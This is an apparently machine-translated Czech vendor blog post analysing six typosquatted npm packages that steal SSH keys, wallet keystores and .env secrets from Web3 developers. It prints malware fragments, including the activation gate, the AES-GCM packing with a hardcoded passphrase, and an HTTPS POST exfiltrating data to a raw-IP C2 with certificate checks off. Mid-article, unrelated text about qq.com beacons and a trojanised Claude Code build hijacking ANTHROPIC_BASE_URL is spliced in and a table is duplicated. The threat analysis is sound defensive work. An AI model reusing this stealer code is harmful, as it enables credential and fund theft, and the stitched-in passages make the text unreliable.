Útok typu „typosquatting“ v EVMDeFi npm krade klíče vývojářů

Útok typu „typosquatting“ v EVM/DeFi npm krade klíče vývojářů

TL, DR

6. května 2026 jeden vydavatel npm, namikazesarada010206, šířil šest škodlivých balíčků zaměřených na vývojářský ekosystém Ethereum, Solidity a DeFi.

Balíčky, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, a web3-utils-core, používaly věrohodné názvy navržené tak, aby vypadaly jako pomocné knihovny pro populární nástroje Web3.

Všech šest balíčků obsahovalo totéž telemetry.js soubor. Soubor byl bajtově identický v celém clusteru s SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Malware se nespustí v době instalace. Neexistuje žádný preinstall or postinstall hook. Místo toho se aktivuje, když je balíček importován prostřednictvím require().

Na tom detailu záleží.

Implantát čeká, až vývojář balíček skutečně použije. Poté zkontroluje, zda pracovní stanice vypadá jako skutečné vývojové prostředí Ethereum / Solidity. Hledá klíče Alchemy nebo Infura, soukromé klíče, mnemotechnické pomůcky, klíče deployera nebo lokální adresář Foundry.

Pokud se hostitel shoduje, zloděj shromažďuje soukromé klíče SSH, úložiště klíčů peněženek Foundry / Geth / Brownie, .env* soubory a citlivé proměnné prostředí. Zašifruje balíček pomocí AES-256-GCM s použitím pevně zakódovaného přístupového hesla a exfiltruje ho do nezpracovaného koncového bodu IPv4 C2 s vypnutým ověřováním TLS.

Systém včasného varování před malwarem (MEW) společnosti Xygeni potvrdil všech šest balíčků jako škodlivých. Balíček s hlášením o odstranění z registru npm je čeká na vyřízení.

Klastr: Šest balíčků, jeden vydavatel

Účet vydavatele namikazesarada010206 byl propojen s neověřenou adresou Gmail namikazesarada010206@gmail.com.

Kampaň se objevila jako jednodenní publikační vlna 6. května 2026. Všech šest balíčků bylo verzováno jako 1.0.0, neměl žádné běhové závislosti a dodával pouze tři soubory:

package.json index.js telemetry.js

Také deklarovali stejné zdrojové úložiště:

https://github.com/harunosakura030303-maker/evmchain-config

První tři balíčky byly zachyceny skenery MEW při první publikaci. Zbývající tři byly vynuceně označeny po analytické kontrole profilu npm vydavatele. Jakmile byly stejné bajtově identické telemetry.js bylo v celém clusteru potvrzeno, byly z důvodu konzistence uzavřeny jako škodlivé.

Balíček Verze Publikováno npm Vstupenka na MEW Verdikt
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Zlomyslný
viem-utils-core 1.0.0 2026-05-06 #51050 Zlomyslný
nástroje hardhat-core-utils 1.0.0 2026-05-06 #51051 Zlomyslný
evm-utils 1.0.0 2026-05-06 #51069 Škodlivý, podle konzistence
slévárenské nástroje 1.0.0 2026-05-06 #51071 Škodlivý, podle konzistence
web3-utils-core 1.0.0 2026-05-06 #51070 Škodlivý, podle konzistence

Strategie pojmenování je přímočará, ale účinná.

Tyto balíčky se nevydávají za přesné názvy upstreamových programů. Místo toho používají věrohodné přípony „utility“, jako například -core, -utils, a -utils-coreDíky tomu vypadají jako doprovodné knihovny, které by vývojář mohl očekávat poblíž nástrojů Web3.

Škodlivý balíček Legitimní cíl
viem-core viem, populární klient TypeScript pro Ethereum
viem-utils-core Viem
nástroje hardhat-core-utils ochranná přilba, mainstreamové vývojové prostředí Solidity
evm-utils Generický jmenný prostor nástrojů EVM
slévárenské nástroje slévárna, nástrojová řada Solidity
web3-utils-core web3-utils, pomocné nástroje Web3.js

Toto je vzorec „doplňkového balíčku“: ne „Já jsem skutečný balíček“, ale „Vypadám jako rozumný pomocník v blízkosti skutečného balíčku“.

Pro vývojáře DeFi, kteří se rychle pohybují, to stačí k vytvoření rizika.

Co se stane, když je balíček importován

Řetězec útoků je malý, úmyslný a zaměřený na prostředí pro vývoj kryptoměn.

Neexistuje žádný instalační háček. Místo toho každé balení obsahuje index.js který exportuje funkcionalitu stubu a poté načte modul škodlivé telemetrie.

require('./telemetry').init();

To znamená, že malware se aktivuje při prvním importu.

To je pro útočníka z provozního hlediska užitečné. Mnoho skenerů a sandboxů se zaměřuje na chování během instalace. Tento balíček čeká, dokud jej vývojář, skript pro sestavení, testovací sada nebo běhová cesta skutečně nepoužije.

Aktivační brána: Spouště se pouze na skutečných vývojářských pracovních stanicích Web3

Nejdůležitější částí implantátu je aktivační brána.

Malware kontroluje proměnné prostředí, které se běžně nacházejí na počítačích vývojářů Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Také kontroluje, zda je Foundry nainstalován:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Pokud ani jedna z podmínek není splněna, funkce vrátí hodnotu a nic nedělá.

Díky tomu je balíček v generických analytických prostředích tišší. Sandbox bez klíčů Foundry, Alchemy, Infura, soukromých klíčů nebo mnemotechnických pomůcek může vypadat neškodně.

Na odpovídajícím hostiteli malware čeká 60 až 90 sekund před shromažďováním:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Zpoždění snižuje zjevnou korelaci mezi dovozem a odlivem. .unref() Volání také umožňuje hostitelskému procesu normální ukončení, pokud byl balíček importován v krátkodobém skriptu.

Nejedná se o hlučné chování typu „smash and grab“. Jde o cílený stealer, který je navržen tak, aby se nespustil, pokud vývojářské prostředí nestojí za to ho okrást.

Co zloděj sbírá

Jakmile aktivační brána projde, malware shromažďuje data ze zdrojů, které jsou pro vývoj Web3 nejdůležitější: soukromé klíče, úložiště klíčů peněženek, přihlašovací údaje k nasazení, cloudové tajné klíče, tokeny npm a lokální konfigurace projektu.

Zdroj Co se shromažďuje
process.env Jakákoli proměnná odpovídající /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Soubory obsahující PRIVATE KEY nebo BEGIN OPENSSH, včetně celého obsahu souboru
~/.foundry/keystores/* Soubory úložiště klíčů peněženky Foundry
~/.ethereum/úložiště klíčů/* Soubory úložiště klíčů peněženky Geth
~/.brownie/účty/* Soubory úložiště klíčů peněženky Brownie
${cwd}/.env Celý obsah souboru
${cwd}/.env.local Celý obsah souboru
${cwd}/.env.production Celý obsah souboru
${cwd}/.env.development Celý obsah souboru
os.názevhostitele() Metadata hostitele
crypto.randomUUID() Identifikátor oběti/relace
Date.now() Časové razítko sbírky
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Tokeny ATTA jsou:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nebyli jsme schopni potvrdit, zda telemetrie pocházela z vlastních analytických dat operátora, nebo ze samostatně monetizovaného kanálu. Tokeny ATTA jsou v obou námi zkoumaných vzorcích stejné.

Klastr B: heibai

claude.hk OAuth Phishing + Únos adresy ANTHROPIC_BASE_URL

Vzorek z 1. dubna je hrubší, dřívější částí kampaně.

heibai:2.1.88-claude.hk-4 byl publikován wuguoqiangvip28, účet vytvořený 7. června 2025. Balíček se explicitně verzoval proti legitimnímu 2.1.88 Antropické uvolnění.

Neobtěžuje se s CA-cert MITM. Místo toho uživateli lže o koncovém bodu OAuth.

Mezi škodlivé doplňky k uniklému zdrojovému kódu Claude Code patří:

Zdroj Co se shromažďuje
process.env Jakákoli proměnná odpovídající /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Soubory obsahující PRIVATE KEY nebo BEGIN OPENSSH, včetně celého obsahu souboru
~/.foundry/keystores/* Soubory úložiště klíčů peněženky Foundry
~/.ethereum/úložiště klíčů/* Soubory úložiště klíčů peněženky Geth
~/.brownie/účty/* Soubory úložiště klíčů peněženky Brownie
${cwd}/.env Celý obsah souboru
${cwd}/.env.local Celý obsah souboru
${cwd}/.env.production Celý obsah souboru
${cwd}/.env.development Celý obsah souboru
os.názevhostitele() Metadata hostitele
crypto.randomUUID() Identifikátor oběti/relace
Date.now() Časové razítko sbírky

Seznam cílů je velmi specifický. Nejedná se o obecnou krádež prohlížeče ani o obecné scrapingování přihlašovacích údajů. Je zaměřen na vývojáře, kteří vytvářejí, testují, nasazují nebo provozují aplikace Etherea.

Obzvláště důležité je zahrnutí úložišť klíčů Foundry, Geth a Brownie. Tyto soubory mohou představovat přímý přístup k peněženkám nebo identitám nasazení. Pokud je útočník dokáže spárovat s hesly, mnemotechnickými pomůckami nebo tajnými kódy prostředí, může být schopen přesouvat finanční prostředky, vydávat se za nasazené uživatele nebo ohrozit operace chytrých smluv.

Šifrování před únikem

Malware zašifruje shromážděná data před jejich odesláním.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Pevně ​​zakódované heslo je:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Finální datová část je zabalena jako JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Šifrování samo o sobě neznamená, že malware je pokročilejší. Ztěžuje však kontrolu sítě. Obránce sledující odchozí data by viděl datový soubor JSON, ale ne ukradené klíče, soubory peněženky ani… .env obsah bez pevně zakódovaného hesla a dešifrovací logiky.

Exfiltrace do nezpracovaného IPv4 C2

Cesta exfiltrace je pevně zakódována:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malware odesílá data do:

https://76.13.37.80:8443/api/v1/telemetry

Dva detaily vynikají.

Zaprvé, C2 je spíše nezpracovaná IPv4 adresa než doména. To odstraňuje nutnost registrace domény a zabraňuje některým detekcím založeným na doméně.

Za druhé, ověřování TLS je zakázáno pomocí:

rejectUnauthorized: false

To umožňuje malwaru přijímat jakýkoli certifikát, včetně certifikátů s vlastním podpisem. Jinými slovy, útočník získá šifrovaný přenos dat, aniž by potřeboval platný veřejný certifikát.

Neexistuje žádná logika opakování ani záložní hostitel. Chyby jsou tiše přepočítávány. Díky tomu je balíček v tichu, pokud je C2 offline nebo nedostupný.

Proč na této kampani záleží

Většina škodlivých npm balíčků zaměřených na vývojáře se snaží získat široké přihlašovací údaje: npm tokeny, klíče AWS, tokeny GitHubu nebo… .npmrc soubory.

Tato kampaň zužuje cílovou skupinu.

Hledá známky toho, že stroj patří vývojáři Etherea nebo Solidity. Poté načte přesně ty prvky, které jsou v daném prostředí důležité: úložiště klíčů peněženky, soukromé klíče, mnemotechnické pomůcky, klíče nasazení, .env soubory a SSH klíče.

Díky tomu je kampaň pro Web3 týmy nebezpečnější než generický stealer NPM.

Úspěšná infekce by mohla odhalit:

  • Nasazení peněženek
  • Klíče pro správu chytrých smluv
  • Klíče poskytovatele RPC
  • Přihlašovací údaje k nasazení do cloudu
  • publikační tokeny NPM
  • SSH přístup k infrastruktuře pro vývojáře nebo sestavení
  • Tajné informace projektu uloženy v .env soubory
  • Úložiště klíčů peněženek pro Foundry, Geth nebo Brownie

Názvy balíčků také jasně ukazují na sociální inženýrství. Cílí na ekosystém vývojářů Web3 prostřednictvím známých názvů nástrojů: viem, hardhat, foundry, evm, a web3.

Aktér nemusí dělat kompromisy v reálných projektech. Potřebuje pouze, aby mu vývojář nainstaloval něco, co vypadá jako rozumný doprovodný balíček.

Indikátory kompromitace a detekce

Balíčky a vydavatel
Pole Hodnota
vydavatel npm namikazesarada010206
E-mail vydavatele namikazesarada010206@gmail.com
email ověřen Ne
SCM ověřeno Ne
Skóre reputace 1.0
Balíčky viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
verze Všechny 1.0.0
Zdrojový repozitář https://github.com/harunosakura030303-maker/evmchain-config
Potvrzeno škodlivé Všech šest balíčků
Síť
Typ Hodnota
Koncový bod C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Port C2 8443/tcp
Chování TLS odmítnoutNeautorizované: false
Schéma datového zatížení {"v":2,"iv": ,,d": ,,t": }
Soubory a hashe
Typ Hodnota
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Rozvržení balíčku package.json, index.js, telemetry.js
Počet souborů 3
Přibližná celková velikost 3.4 KB

Aktivační signály

Malware kontroluje tyto proměnné prostředí:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Také kontroluje:

~/.foundry/

Cílové cesty hostitele

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kolekce Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Poznámky k detekci

Tuto kampaň zachycuje několik pravidel, aniž by bylo nutné provést úplnou behaviorální analýzu.

Nejprve prohledejte soubory lockfiles a vyhledejte šest názvů škodlivých balíčků:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Jakýkoli zápas v package-lock.json, yarn.lock, pnpm-lock.yamlnebo node_modules Historie by měla být brána jako vážná událost.

Za druhé, monitorujte procesy Node.js, které čtou cesty k úložišti klíčů peněženky:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Toto je zřídka legitimní chování pro balíček importovaný jako pomocná závislost. Je to obzvláště podezřelé, pokud je následováno odchozí síťovou aktivitou.

Za třetí, blokujte nebo upozorňujte na HTTPS připojení:

76.13.37.80:8443

Zvláště když je cesta požadavku:

/api/v1/telemetry

Za čtvrté, hledejte npm balíčky, které kombinují tyto vlastnosti:

  • Nový nebo málo známý vydavatel
  • Neověřený účet Gmail
  • Název balíčku sousedícího s Web3
  • Žádná smysluplná historie repozitáře
  • Rozvržení malého balíčku
  • index.js který načítá telemetrii nebo pomocný soubor
  • Žádné závislosti za běhu
  • Citlivá kolekce proměnných prostředí
  • Přístup k úložišti klíčů peněženky

Tento vzorec je užitečnější než jeden IOC, protože další balíček může změnit IP adresu, ale zachovat stejnou logiku cílení.

Kontrolní seznam pro reakci na kompromis

Pokud vývojář použil jeden ze šesti balíčků a jeho prostředí odpovídalo aktivační bráně, považovat pracovní stanici za kompromitovanou.

To zahrnuje počítače s nainstalovaným Foundry, klíče Alchemy nebo Infura v prostředí, soukromé klíče, mnemotechnické pomůcky nebo klíče deployera.

Doporučená odpověď:

  • Odpojte hostitele od sítě.
  • Zachovat node_modules, soubory zámků, historie shellu a relevantní protokoly pro forenzní analýzu.
  • Otočte každý pár klíčů SSH pod ~/.ssh/.
  • Otáčejte klíče peněženky pro každé úložiště klíčů v rámci ~/.foundry, ~/.ethereum, a ~/.brownie.
  • Převeďte finanční prostředky do nových peněženek.
  • Otočte každý tajný klíč uložený v .env* soubory v repozitářích, ve kterých vývojář pracoval.
  • Střídejte tajné klíče prostředí odpovídající regulárnímu výrazu kolekce, včetně klíčů AWS, tokenů npm, tokenů nasazení, klíčů API, soukromých klíčů, semen a mnemotechnických pomůcek.
  • Auditovat aktivitu cloudu, npm, GitHubu, poskytovatele RPC a blockchainu od první instalace balíčku.
  • Před opětovným použitím znovu vytvořte obraz pracovní stanice.

Co by si měli obránci odnést

Tato kampaň ukazuje, jak se typosquatting v npm vyvíjí v ekosystémech vysoce hodnotných vývojářů.

Aktér nepotřeboval perzistenci. Nepotřeboval zmatkování. Nepotřeboval ani spuštění během instalace.

Místo toho se spoléhali na tři věci:

  • Pravděpodobné názvy balíčků Web3
  • Aktivace pouze na skutečných krypto vývojových strojích
  • Přímá krádež souborů a tajných informací, na kterých vývojářům Etherea nejvíce záleží

Díky tomu je kampaň snadno přehlédnutelná při širokém prohledávání a nebezpečná, když se dostane do správného prostředí.

Pro Web3 týmy je ponaučení jasné: zacházejte s názvy závislostí jako se součástí vašeho modelu hrozeb. Balíček, který vypadá jako neškodný pomocník, se stále může stát nejkratší cestou k napadení peněženky.

Nahlášeno do registru npm. Tento příspěvek aktualizujeme, jakmile bude účet vydavatele a balíčky odstraněny.

nástroje pro analýzu složení softwaru SCA
Stanovte priority, opravte a zabezpečte svá softwarová rizika
Získejte svůj bezplatný účet.
Nevyžaduje se žádná kreditní karta.

Zajistěte si vývoj a dodávky softwaru

s produktovým balíčkem Xygeni